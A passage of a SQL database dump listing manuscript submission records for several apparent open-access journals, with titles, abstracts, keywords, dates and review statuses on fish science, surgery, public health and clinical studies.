Well-Being',NULL,25,0,'','Personal health encompasses the physical, mental, emotional, and social dimensions of well-being, reflecting the dynamic interplay between individual lifestyle choices, environmental factors, and socio-cultural influences. This comprehensive research article examines the multifaceted nature of personal health, exploring its determinants, outcomes, and implications for individual and societal flourishing. By integrating insights from diverse disciplines such as medicine, psychology, public health, and sociology, we aim to provide a holistic understanding of personal health and empower individuals to make informed decisions that promote lifelong well-being. Through an exploration of preventive strategies, health promotion initiatives, and evidence-based interventions, this article seeks to foster a culture of health and resilience that transcends traditional biomedical approaches and embraces a broader vision of wellness.','Personal health, well-being, holistic approach, lifestyle choices, preventive strategies, health promotion, evidence-based interventions',643,NULL,'2024-03-21',NULL,'Submitted',2,NULL,'2024-03-23',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14694,14709,45,0,'iphsj-24-14694','Isolation, identification and antimicrobial susceptibility ',NULL,19,1,'Digital Health Innovations in Care','','',4912,NULL,'2024-03-22',NULL,'Submitted',15,NULL,'2024-03-22',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14695,14711,639,0,'ipfs-24-14695','Effect of Acute nominal concentrations of Imidacloprid on some Haematological parameters of Oreochromis niloticus in static Exposure for 96 hours',NULL,14,0,'','This study investigated the acute toxicity of Imidacloprid on Oreochromis niloticus. Juveniles of Oreochromis niloticus of average weight of (10.0±05g) and length of (5.0±.3cm standard length) were exposed to acute and sublethal concentrations of Imidacloprid. A total of eighten transparent plastic tanks of 40litre capacity containing 30litre of dechlorinated tap water was used during the experiment. the plastic tank was stock with ten juveniles Oreochromis niloticus in triplicate during the acute toxicity test. the LC50 values was 64.6 under static bioassay. The acute test was for 96hr static bioassay using varying concentrations was 0.00, 33, 50, 66, 83, and 100 mg/L of Imidacloprid on Oreochromis niloticus. Behavioural and morphological symptoms observed during the acute study which preceded mortality included vertical standing, Air gulping, Skin lesion, Abnormal swimming were observed. The acute and sublethal exposure of Oreochromis niloticus to imidacloprid elicited significant changes in some haermatological parameters. The acute concentrations of imidacloprid affected the behavior and haematology. Application of this chemical in the environment should be below the LC50 value (64.6 mg/L) obtained during the research.','Haematology, Static bioassay, Imidacloprid and Oreochromis niloticus',1776,NULL,'2024-03-23',NULL,'Submitted',15,NULL,'2024-03-25',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14696,14712,639,0,'ipfs-24-14696','Diving into the Depths: An Exploration of Fish Physiology',NULL,12,0,'','Beneath the shimmering surface of our planet\'s oceans, lakes, and rivers lies a world of remarkable diversity and complexity. Among its most fascinating inhabitants are fish, a group of vertebrates that have evolved an extraordinary array of physiological adaptations to thrive in aquatic environments. From the sleek and swift tuna to the armored and cryptic seahorse, fish exhibit an astonishing diversity of forms and functions shaped by millions of years of evolution. In this comprehensive article, we embark on a journey into the depths of fish physiology, unraveling the intricate mechanisms that govern their biology, behavior, and survival.','Fish, blood vessels, Respiration, Osmoregulation, Reproduction, Circulation, Thermoregulation.',59186,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14697,14712,639,0,'ipfs-24-14697','Exploring the Dynamic World of Fish Ecology: Understanding the Interplay between Fish and their Environment',NULL,12,0,'','The study of fish ecology encompasses a fascinating exploration of the intricate relationships between fish species and their surrounding environment. From the depths of the ocean to freshwater rivers and lakes, fish play a vital role in aquatic ecosystems, influencing nutrient cycling, biodiversity, and ecosystem dynamics. In this comprehensive article, we delve into the dynamic world of fish ecology, unraveling the complex interactions that shape fish behavior, distribution, and population dynamics.','Top Predators, Food Availability, water temperature, pH, feeding, biomass, mortality',59132,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14698,14713,639,0,'ipfs-24-14698','Harnessing Nature\'s Harmony: Exploring the Promise of Fishery Aquaponics Systems',NULL,12,0,'','In the realm of sustainable food production, aquaponics stands as a beacon of innovation, seamlessly blending aquaculture and hydroponics to create efficient, closed-loop ecosystems. Fishery aquaponics systems, a hybrid of traditional fish farming and soilless agriculture, offer a transformative approach to fish cultivation and vegetable production. In this in-depth article, we embark on a journey to unravel the intricacies of fishery aquaponics systems, exploring their principles, benefits, challenges, and potential for revolutionizing food production.','Fish Tanks, Grow Beds, Water Circulation, Biological Filtration, Environmental Sustainability, Resource Efficiency',59132,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14699,14713,639,0,'ipfs-24-14699','Unlocking the Genetic Code of Aquatic Life: Exploring Fishery Genetics',NULL,12,0,'','In the vast expanse of our planet\'s oceans, rivers, and lakes, fish play a crucial role in supporting ecosystems and sustaining human livelihoods. From the mighty salmon of the Pacific Northwest to the colorful coral reef inhabitants of the tropics, fish exhibit a staggering diversity of shapes, sizes, and behaviors. Behind this diversity lies the intricate genetic code that governs the traits and adaptations of each species. In this comprehensive article, we delve into the fascinating field of fishery genetics, exploring how genetic research is shaping our understanding of aquatic life and informing sustainable fisheries management practices.','Microsatellites, Single nucleotide polymorphisms (SNPs), Mitochondrial DNA sequences, Growth rate, Disease resistance, Genetic diversity',1776,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14700,14714,639,0,'ipfs-24-14700','Preserving the Lifeblood of Our Oceans: The Imperative of Fisheries Conservation',NULL,12,0,'','As the global demand for seafood continues to rise, the health and sustainability of our marine ecosystems are facing unprecedented threats. Fisheries conservation has emerged as a critical endeavor aimed at safeguarding fish stocks, protecting biodiversity, and ensuring the long-term viability of our oceans. In this comprehensive article, we delve into the multifaceted realm of fisheries conservation, exploring its key principles, strategies, challenges, and the crucial role it plays in sustaining ocean health and livelihoods worldwide','Fisheries Management, Ecosystem Protection, Capacity Building, Overfishing, stakeholder engagement',1774,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14701,14714,639,0,'ipfs-24-14701','Navigating the Blue Frontier: Exploring the Wealth of Aquatic Resources',NULL,12,0,'','The world\'s oceans, rivers, lakes, and wetlands are teeming with life, harboring a diverse array of aquatic resources that sustain ecosystems, support livelihoods, and provide essential services to humanity. From fish stocks to marine biodiversity, aquatic resources play a vital role in global food security, economic prosperity, and environmental well-being. In this comprehensive article, we embark on a journey to uncover the wealth of aquatic resources, exploring their significance, challenges, and potential for sustainable management and conservation.','Fisheries, Marine Biodiversity, Aquaculture, Water Resources, Pollution, Invasive Species',1777,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14702,14715,639,0,'ipfs-24-14702','Harnessing Innovation: Exploring the Frontiers of Fishery Technology',NULL,12,0,'','','',59155,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14703,14715,639,0,'ipfs-24-14703','Preserving Tradition and Sustainability: Exploring the World of Artisanal Fishing',NULL,12,0,'','','',59155,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14704,14716,639,0,'ipfs-24-14704','Exploring the Rich Tapestry of Fishery Habitats: A Dive into Aquatic Ecosystems',NULL,12,0,'','','',1776,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14705,14716,639,0,'ipfs-24-14705','Navigating the Waters of Fishery Economics: Understanding the Economic Dynamics of Fisheries',NULL,12,0,'','','',1777,NULL,'2024-03-26',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14706,14717,45,0,'iphsj-24-14706','Design and Performance Analysis of a Novel  Hollow Core-Based Photonic Crystal Fiber  for Edible Oil Sensing in the Terahertz (THz)  Regime',NULL,14,1,'Digital Health Innovations in Care','','',5154,NULL,'2024-03-28',NULL,'Submitted',2,NULL,'2024-05-14',NULL,1,1,'0','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14707,14718,73,0,'ipjnn-24-14707','The principles neuron types based on single-cell transcriptomics: emerging insights',NULL,3,1,'Current neurology and neuroscience report','','',327,NULL,'2024-03-28',NULL,'Submitted',15,NULL,'2024-04-01',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14708,14719,45,0,'iphsj-24-14708','Ready to Revolutionize Oncology Trials?  Discover Morocco\'s Mohammed VI research and innovative Center\'s Impact!',NULL,12,0,'','Oncology research in Morocco faces multifaceted challenges, including limited access to advanced diagnostic technologies, ethical considerations in patient recruitment, and financial and logistical constraints. These obstacles hinder the progression of cancer care and research, limiting patient access to innovative treatments and impeding the development of potentially life-saving therapies. The Mohammed VI Center for Research and Innovation stands as a promising solution, dedicated to enhancing infrastructure, improving treatment access, building capacity, and upholding ethical standards in oncology research. \r\nBy fostering a culture of excellence, collaboration, and innovation, the Center strives to improve patient outcomes and contribute significantly to the global fight against cancer in Morocco.','',5375,NULL,'2024-03-28',NULL,'Submitted',12,NULL,'2024-03-30',NULL,1,1,'0',NULL,0,'','',NULL,0,0,1,NULL,0),(14709,14720,45,0,'iphsj-24-14709','Can the 21-Gene Recurrence Score be the decisive tool for safely omitting radiotherapy in breast cancer treatment?',NULL,3,0,'','The IDEA trial assessed radiotherapy omission in 200 postmenopausal breast cancer patients with specific tumor characteristics. Results showed high disease control at 5 years without radiotherapy. However, limitations include a single-arm design, short follow-up, and a skewed older demographic. Deviations from standard surgical guidelines and findings from other trials, like SOUND, complicate interpretation. Future studies with control groups are needed to validate the 21-gene recurrence score\'s utility in guiding radiotherapy decisions for this patient group.','',5375,NULL,'2024-03-28',NULL,'Submitted',12,NULL,'2024-03-30',NULL,1,1,'0',NULL,0,'','',NULL,0,0,1,NULL,0),(14710,14375,971,0,NULL,'Navigating Dietary Behavior Change in Older Adults: Challenges, Strategies, and Implications for Quality of Life',NULL,3,1,'Emerging Research on Health care','','',59073,NULL,'2024-04-01',NULL,'Submitted',4,NULL,'2024-04-03',NULL,1,0,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14711,14721,45,0,'iphsj-24-14711','Relationships between vitamin D levels in serum and tests of thyroid function in eutroid and hypothyroid in patients with anti -TPO elevated in the Municipality of Prishtina',NULL,14,0,'','The relationship between serum 25-OH vitamin D level in hypothyroid patients with and without thyroid peroxidase (TPO) antibodies is controversial. There is growing evidence that the level of vitamin D 25-OH is related to autoimmune diseases. The study aimed to evaluate the relationship between serum vitamin D levels and thyroid function tests in euthyroid and hypothyroid patients from Pristina with (anti -TPO) raised\r\nCross-sectional analyzes were conducted at H.P Diagnostic Center, American Hospital and Olive Laboratory from February to June 2023. Fifty patients with hypothyroidism were selected. another fifty were chosen as the control group. The tests of (TSH, FT4, Anti-TPO, Vitamin D 25-OH) were measured using COBAS E 411 system analyzer. The results were analyzed using SPSS version.\r\nTSH was significantly increased in both hypothyroid patients with positive TPO antibodies (7.75±10.34) and negative TPO antibodies (5.01±0.79) compared to the control group (2.69±1.33), respectively, with a p -value of 0.560. The level of 25-OH vitamin D was lower among hypothyroid patients than in the control group. TPO-antibody-positive subjects had lower 25-OH vitamin D levels (10.38±4.45), than TPO-antibody-negative patients (18.79±8.93) compared to controls (64.92±161.08), respectively, with the p-value value 0.045. In hypothyroid patients, women 34 (68%) were more than men 16 (32%).\r\nIn conclusion: The level of vitamin D 25-OH was low in patients with hypothyroidism. TPO-antibody-positive subjects had less serum 25-OH vitamin D compared to TPO-antibody-negative subjects.','Vitamin D; Autoimmune thyroiditis; Thyroid function tests.',685,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-11',NULL,1,1,'1','This study skillfully elucidates the connection between serum vitamin D levels and thyroid function tests in hypothyroid patients, shedding light on crucial aspects of autoimmune thyroid diseases.\r\n\r\nBy employing quantitative methods and a robust sample size, this research delivers reliable findings, offering a comprehensive analysis of the relationship between hypothyroidism, vitamin D levels, and autoimmune markers.\r\n\r\nI recommend that the article be published without any changes.',0,'','',NULL,0,0,0,NULL,0),(14712,14722,73,0,'ipjnn-24-14712','Software tools for EEG complex group analysis',NULL,10,0,'','The paper considers the possibilities and procedure for working with a freely distributed program Conan-EEG for Windows 7-10 that provides automatic group analysis of EEG recordings based on the most informative indicators of EEG amplitude and synchronity with the removal of blinks and similar distortions.','EEG synchronity, EEG amplitude, blink artifacts, frequency domains, individual and group differences, depression, sleep stages, schizophrenia, factor analysis, cluster analysis, discriminant analysis',59238,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,0),(14713,14723,326,0,'IPJUS-24-14713','Exploring the Evolution and Impact of Surgery: From Ancient Roots to Modern Marvels',NULL,12,0,'','','',59135,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14714,14724,326,0,'IPJUS-24-14714','Advancements in Modern Surgical Techniques: A Glimpse into the Future of Medicine',NULL,12,0,'','','',3103,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14715,14725,326,0,'IPJUS-24-14715','Unveiling the Shadows: The Perilous Realities of Surgical Complications',NULL,12,0,'','','',3103,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14716,14726,326,0,'IPJUS-24-14716','Exploring the Benefits of Appendectomy Surgery: A Comprehensive Guide',NULL,12,0,'','','',3103,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14717,14727,326,0,'IPJUS-24-14717','Improving Vision and Quality of Life: Exploring Glaucoma Surgery Outcomes',NULL,12,0,'','','',59209,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-16',NULL,1,1,'1','Accepted\r\n',0,NULL,NULL,NULL,0,0,0,NULL,0),(14718,14728,326,0,'IPJUS-24-14718','Understanding Pacemaker Surgery: A Lifesaving Intervention for Cardiac Patients',NULL,12,0,'','','',59135,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14719,14729,326,0,'IPJUS-24-14719','Understanding Long-term Complications of Neck Surgery',NULL,12,0,'','','',59210,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14720,14730,326,0,'IPJUS-24-14720','Unlocking the Potential of Implant Surgery: A Comprehensive Exploration of its Benefits',NULL,12,0,'','','',59110,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14721,14731,326,0,'IPJUS-24-14721','Navigating Post-Oral Surgery: Understanding and Addressing Common Problems',NULL,12,0,'','','',59108,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14722,14732,326,0,'IPJUS-24-14722','Understanding the Complications of Gynecomastia Surgery',NULL,12,0,'','','',59208,NULL,'2024-04-01',NULL,'Submitted',2,NULL,'2024-04-15',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14723,4939,277,0,'ipadm-24-14723','UTILIDAD DE LA ULTRASONOGRAFICA EN PLANO Y  VISTA PARA LA CANULACIÓN DE LA VENA YUGULAR INTERNA EN PACIENTES ADULTOS SOMETIDOS A CIRUGÍA CARDIACA',NULL,14,0,'','Introduction: Ultrasound is a currently used tool for central venous cannulation. Short-axis (SAX) and long-axis (LAX) vision have been described for cannulation of the internal jugular vein (IJV). In our population, few studies have described its perioperative usefulness.\r\n\r\nObjectives: characterize two ultrasound views for cannulation of the internal jugular vein in adult patients undergoing cardiac surgery in a health center in Colombia.\r\n\r\nMethods: 25 patients were included for the SAX subgroup and 25 patients for the LAX subgroup. The following results were recorded: (1) first pass success rate (2), IJV access time, (3) identification of the anterior wall of the IJV > 50% of its diameter, (4) incidence of puncture of the posterior wall of the IJV and (5) the incidence of complications (arterial puncture, hematoma and arrhythmias).\r\n\r\nResults: In 100% of the patients in the SAX group, success was achieved on the first attempt when punctured the IJV compared to 92% in the LAX group, without statistical significance (p=0.149). The times to access the IJV for the SAX group were 13.28 ± 2.372 seconds and for the LAX group 14.12 ± 4.256 seconds (p=0.556).\r\n\r\nConclusions: Of the US, SAX and LAX views, it is still not clear which is superior when compared, a larger sample is needed to achieve statistically significant results.','Ultrasonography, Jugular Veins, Ultrasonography, Interventional, Perioperative Medicine (MeSH).',2805,NULL,'2024-04-01',NULL,'Submitted',12,NULL,'2024-04-19',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14724,14733,45,0,'iphsj-24-14724','Adaptation and validation of the Chinese Health Literacy Scale for Low Salt Consumption Hong Kong Population (CHLSalt-HK) for the Malaysian population ',NULL,14,0,'','Introduction: High consumption of sodium is often associated with an increased risk of hypertension, heart disease, and premature death. Global reports on the population’s sodium intake mostly account for higher salt intakes exceeding the recommended level due to lower knowledge and risky dietary behaviour. Thus, it is vital to have comprehensive data on knowledge, practices, and health literacy levels pertaining to sodium intake for strategized and informed public health initiatives. \r\nObjectives: This study aims to adapt and validate the Chinese Health Literacy Scale for Low Salt Consumption – Hong Kong population (CHLSalt-HK) for the Malaysian population in order to facilitate accurate assessment of literacy in regards to salt intake among Malaysian adults. This paper reports the translation and validation with cross-cultural adaptation of the CHLSalt-HK instrument for the Malaysian adult population. \r\nMethods: The original CHLSalt-HK in English was translated to Malay by using forward-backward translation, and the preliminary version was obtained with cross-cultural adaptation based on review by three technical experts. A cognitive testing was conducted among 30 patients based on sociodemographic differences such as ethnicity, location, and education level. Their feedback was gained pertaining to comprehension of the instrument in terms of language and terminologies used, the flow and clarity of the instructions, and the questions given. Following up the test, the improvised version of the instrument was then pre-tested among 200 adults’ respondents in Klang Valley for the reliability purposes. \r\nResults: A total of 200 respondents participated in the pretest study. The internal consistency of the instrument was acceptable, with Cronbach’s alpha values ranging between 0.624 and 0.830 and 0.825 for the entire instrument. The temporal stability was good and the intraclass correlation coefficient was >0.6\r\nConclusion: The adapted and translated version CHLSalt-HK demonstrates adequate psychometric properties for measuring health literacy pertaining to salt intake among Malaysian populations.','health literacy, sodium intake, knowledge, attitude, practice, cross-cultural adaptation, questionnaire translation, questionnaire validation.',4076,NULL,'2024-04-02',NULL,'Submitted',12,NULL,'2024-04-04',NULL,1,1,'0',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14725,14734,251,0,'ipacm-24-14725','Gastric Adenocarcinoma May Not Necessarily be Due to <em>Helicobacter pylori</em> or Microbial Infection',NULL,12,0,'','Gastric cancer is commonly thought to be caused by infection with Helicobacter pylori. This work sought to understand if other microbial species could be associated with a particular form of stomach cancer known as gastric adenocarcinoma. To this end, RNA-seq transcriptome of normal and diseased tissue with gastric adenocarcinoma from two patients were analysed by an in-house MATLAB RNA-seq processing software with a library of ribosomal proteins from different microbial species as reference genes. Results reveal no alignment of sequenced reads from normal and diseased tissue to any ribosomal protein genes from different microbial species. This suggests that gastric adenocarcinoma need not be associated with microbial infection. Overall, understanding the aetiological reason for a disease is the first step to finding ways to treat, and later, prevent similar occurrence of disease. Profiling of RNA-seq transcriptome of normal and diseased gastric tissue for microbial mRNA transcripts of ribosomal protein shows no alignment of sequenced reads, thereby, indicating that microbes need not be associated with gastric adenocarcinoma.','Gastric adenocarcinoma, RNA-seq transcriptome, ribosomal proteins, microbial species, causative agent',785,NULL,'2024-03-18',NULL,'Submitted',2,NULL,'2024-04-10',NULL,1,1,'1','Proceed for Publication',0,NULL,NULL,NULL,0,0,0,NULL,0),(14726,14735,45,0,'iphsj-24-14726','Understanding the Intersection of Culture and Mental Health a Comprehensive Review',NULL,25,0,'','This review explores the complex relationship between culture and mental health, emphasizing the importance of cultural competence in understanding and addressing mental health issues. It delves into various cultural factors influencing mental health, including beliefs, values, stigma, and help-seeking behaviors. Additionally, it examines the impact of globalization, immigration, and acculturation on mental health outcomes. The article underscores the need for culturally sensitive approaches in assessment, diagnosis, and treatment to ensure equitable access and effective interventions for diverse populations.','Culture, Mental Health, Cultural Competence, Stigma, Help-seeking, Globalization, Immigration, Acculturation',59239,NULL,'2024-04-03',NULL,'Submitted',2,NULL,'2024-04-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14727,14736,45,0,'iphsj-24-14727','Environmental Health a Comprehensive Review of Impacts Challenges and Solutions',NULL,19,0,'','Environmental health encompasses the intricate interplay between human health and the surrounding environment, encompassing factors such as air and water quality, hazardous waste management, and climate change. This comprehensive review examines the various ways in which environmental factors influence human health, including the spread of infectious diseases, respiratory illnesses, and chronic conditions. It explores the challenges posed by environmental degradation, industrial pollution, and urbanization, highlighting the disproportionate impact on vulnerable populations. Moreover, the article discusses strategies for promoting environmental justice, sustainable development, and public health interventions to mitigate environmental health risks and create healthier communities.','Environmental Health, Public Health, Pollution, Climate Change, Sustainable Development, Environmental Justice',458,NULL,'2024-04-03',NULL,'Submitted',2,NULL,'2024-04-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14728,14737,45,0,'iphsj-24-14728','Mental Health Understanding the Complexity Challenges and Pathways to Well-being',NULL,17,0,'','Mental health is a critical component of overall well-being, yet it remains a complex and often misunderstood aspect of human experience. This research article provides a comprehensive examination of mental health, encompassing its multifaceted nature, prevalent challenges, and pathways to achieving optimal mental well-being. Drawing upon a diverse array of literature and research findings, this article explores the interplay between biological, psychological, social, and environmental factors in shaping mental health outcomes. Additionally, it discusses the stigma surrounding mental illness, barriers to accessing care, and the importance of promoting resilience, self-care, and community support. By fostering a deeper understanding of mental health and advocating for holistic approaches to prevention and treatment, we can strive towards creating a more compassionate and supportive society for individuals living with mental health concerns.','Mental Health, Well-being, Stigma, Resilience, Prevention, Treatment',59239,NULL,'2024-04-03',NULL,'Submitted',2,NULL,'2024-04-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14729,14738,45,0,'iphsj-24-14729','Health Science Advancements Challenges and the Pursuit of Holistic Well-being',NULL,5,0,'','Health science, as a multidisciplinary field, encompasses a vast array of knowledge and methodologies aimed at understanding, promoting, and preserving human health. This research article provides a comprehensive overview of the advancements, challenges, and emerging trends within health science. It explores the intersections of biology, medicine, public health, and social sciences in shaping our understanding of health and disease. Additionally, it discusses the impacts of globalization, technological innovations, and socio-economic disparities on health outcomes. Through a critical examination of current research and practice, this article seeks to inform future directions in health science and foster collaborations towards achieving holistic well-being for all individuals and communities.','Health Science, Public Health, Medicine, Biology, Well-being, Globalization, Technology',4076,NULL,'2024-04-03',NULL,'Submitted',2,NULL,'2024-04-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14730,14739,45,0,'iphsj-24-14730','Public Health Advancements Challenges and Strategies for a Healthier Future',NULL,5,0,'','Public health is a multidisciplinary field dedicated to protecting and improving the health of populations through the promotion of healthy behaviors, the prevention of disease, and the provision of equitable access to healthcare services. This research article provides a comprehensive examination of public health, encompassing its historical evolution, key principles, current challenges, and innovative strategies for addressing emerging health threats. Drawing upon a wide range of literature and research findings, this article explores the intersections of epidemiology, health policy, environmental health, and social determinants of health in shaping public health outcomes. Additionally, it discusses the impacts of globalization, urbanization, and climate change on population health, highlighting the need for collaborative approaches and evidence-based interventions to promote health equity and achieve sustainable development goals.','Public Health, Epidemiology, Health Policy, Health Promotion, Disease Prevention, Health Equity',685,NULL,'2024-04-03',NULL,'Submitted',2,NULL,'2024-04-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14731,14740,45,0,'iphsj-24-14731','Skin Health Understanding Maintaining, and Enhancing the Skin Barrier',NULL,5,0,'','Skin health is integral to overall well-being, serving as a vital protective barrier against environmental stressors and pathogens. This research article provides a comprehensive overview of skin health, encompassing the structure and function of the skin barrier, common skin conditions, and strategies for maintaining optimal skin health. Drawing upon current research and clinical practices, this article explores the importance of skin care routines, the role of diet and lifestyle factors in skin health, and emerging trends in skincare technology. Additionally, it discusses the impact of environmental factors, such as pollution and UV radiation, on skin health, and highlights the importance of preventive measures and early intervention in promoting lifelong skin vitality.','Skin Health, Skin Barrier, Skin Care, Dermatology, Skin Conditions, Environmental Factors',4076,NULL,'2024-04-03',NULL,'Submitted',2,NULL,'2024-04-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14732,14741,45,0,'iphsj-24-14732','Public Health Navigating Challenges Embracing Opportunities for Global Well-being',NULL,5,0,'','Public health stands at the intersection of science, policy, and community action, serving as a cornerstone for promoting and protecting the health of populations worldwide. This research article provides a comprehensive examination of public health, exploring its foundational principles, evolving challenges, and innovative approaches to addressing complex health issues. Drawing upon current research, best practices, and case studies from diverse contexts, the article examines the role of public health in disease prevention, health promotion, and health equity. Additionally, it discusses the impacts of globalization, urbanization, and environmental change on public health outcomes and highlights the importance of collaborative efforts and evidence-based interventions in shaping a healthier future for all.','Public Health, Disease Prevention, Health Promotion, Health Equity, Global Health, Policy',685,NULL,'2024-04-03',NULL,'Submitted',2,NULL,'2024-04-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14733,14742,45,0,'iphsj-24-14733','Health Science Exploring the Interdisciplinary Landscape of Human Well-being',NULL,5,0,'','Health science is a multidisciplinary field that encompasses a broad spectrum of knowledge and methodologies aimed at understanding, promoting, and preserving human health and well-being. This research article provides an in-depth exploration of health science, delving into its diverse subfields, foundational principles, and emerging trends. Drawing upon current research and practice, the article examines the intersections of biology, medicine, public health, psychology, sociology, and environmental science in shaping our understanding of health and disease. Additionally, it discusses the role of technology, policy, and social determinants of health in influencing health outcomes and explores strategies for addressing global health challenges and promoting health equity.','Health Science, Multidisciplinary, Well-being, Public Health, Medicine, Social Determinants of Health',4076,NULL,'2024-04-03',NULL,'Submitted',2,NULL,'2024-04-03',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14734,14449,971,0,'ipaclr-24-14734','Optimizing Surgical Knot Security: Insights from Experimental Analysis of Pulling Direction',NULL,3,1,'Emerging Research on Health care','','',59074,NULL,'2024-04-03',NULL,'Submitted',15,NULL,'2024-04-05',NULL,1,1,'1',NULL,0,NULL,NULL,NULL,0,0,0,NULL,0),(14736,14744,45,0,'iphsj-24-14736','The Health Status of Emergency Physicians at Salmaniya Medical Complex; Kingdom of Bahrain: A Cross-Sectional Study',NULL,14,0,'','Background: Emergency physicians (EPs) are at risk of developing mental and physical conditions due to the nature of their stressful work. There is limited data on the general health of EPs, thus this study aims to study the health status of EPs at Salmaniya Medical Complex (SMC) which provides emergency services in the Kingdom of Bahrain.\r\nMethods: A cross-sectional study investigating a total of 78 EPs working at SMC using an electronic survey, which included physicians’ demographic data, medical characteristics, and conditions within the last 5 years.\r\nResults: The survey had a response percentage of 96.7% (n = 58). Forty-eight (48.3%) percent of EPs considered themselves in good health. Also,72.4% of EPs have had at least one medical condition, and 43.1%, had more than one medical condition. In the past five years, EPs suffered mostly from burnout (43.1%), anxiety (24.1%), and depression (17.2%). With regards to physical medical conditions, the prevalence of dyslipidemia (13.8%), obesity (13.8%), diabetes (12.1%), and hypertension (12.1%) were the highest. More than half of EPs (77.6%) did not have a family physician or GP for themselves. Only 15.5% and 10.3% have consulted their family physician/GP, and psychiatrist respectively in the past 12 months.\r\nConclusion: In summary though most EPs deemed themselves to be in a state of good health, a substantial proportion suffered from at least one medical condition, mostly psychiatric','emergency, physicians, Health, Bahrain, Salmaniya',4076,NULL,'2024-04-10',NULL,'Submitted',2,NULL,'2024-04-19',NULL,1,1,'0','The study provides a comprehensive look into the health of emergency physicians, covering both their physical and mental well-being. It emphasizes the importance of tailored support strategies due to its high response rate and mental health focus.',0,NULL,NULL,NULL,0,0,0,NULL,0),(14737,14745,971,0,'ipaclr-24-14737','Pilot Study Evaluating the Efficacy of Etanercept in Acute Gout',NULL,3,1,'Emerging Research on Health care','','',3249,NULL,'2024-04-11',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1','Accepted',0,NULL,NULL,NULL,0,0,0,NULL,0),(14738,14747,73,0,'ipjnn-24-14738','The principles Alzheimer\'s disease: APOE & 4 and the aging brain',NULL,3,1,'current neurology and neuroscience report','  ','  ',327,NULL,'2024-04-12',NULL,'Submitted',2,NULL,'2024-05-16',NULL,1,1,'1',NULL,0,'','',NULL,0,0,0,NULL,1),(14740,13774,639,0,'ipfs-24-14740','Meristic counts and morphometric measurements of  <em>Schilbe mystus</em> (Linnaeus, 1758)',NULL,14,0,'','Six meristic counts and 21 morphometric measurements were studied and compared between males and females Schilbe mystus. Statistical analysis showed no significant differences in in the number of meristic counts. Students t-test showed that the mean of the 21 morphometric measured traits was significantly 